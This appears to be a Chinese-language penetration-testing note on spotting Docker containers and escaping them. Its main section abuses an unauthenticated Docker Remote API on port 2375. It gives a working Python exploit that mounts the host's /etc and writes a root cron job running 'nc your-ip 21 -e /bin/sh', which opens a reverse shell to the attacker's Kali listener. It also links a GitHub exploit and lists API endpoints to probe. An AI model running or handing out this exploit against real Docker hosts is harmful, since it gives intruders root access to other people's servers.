如何判断当前机器是否为Docker容器环境
Metasploit中的checkcontainer模块、(判断是否为虚拟机,checkvm模块)
1. 检查根目录下是否存在.dockerenv文件
2. 检查/proc/1/cgroup是否存在还有docker字符串
cat /proc/1/cgroup
3. 检查是否存在container环境变量
通过env\PATH来检查是否有docker相关的环境变量,来进一步判断
4. 其他检测方式
如检测mount、fdisk -l查看硬盘、判断PID 1的进程名等也可用来辅助判断
Docker逃逸方式
1. 危险的配置导致Docker逃逸
由于"纵深防御" 和 "最小权限"等理念和原则落地,越来越难以直接利用漏洞来进行利用。另一方面,公开的漏洞,安全运维人员能够及时将其修复,当然,不免存在漏网之鱼。相反,更多的是利用错误的、危险的配置来进行利用,不仅仅Docker逃逸,其他漏洞也是,比如生产环境开启Debug模式导致漏洞利用等等。
Docker已经将容器运行时的Capabilities黑名单机制改为如今的默认禁止所有Capabilities,再以白名单方式赋予容器运行所需的最小权限
docket remote api未授权访问导致逃逸
docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker
Docker Remote API的端口2375端口
火狐打开如下,证明存在未授权访问漏洞
在kali上开启nc监听本地端口,用来接收反弹shell
反弹Shell exp:
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
执行脚本,shell会反弹到kali主机上
Github上的exp:https://github.com/Tycx2ry/docker_api_vul
另一种方式
首先访问http://your-ip:2375/version
访问http://ip:2375/containers/json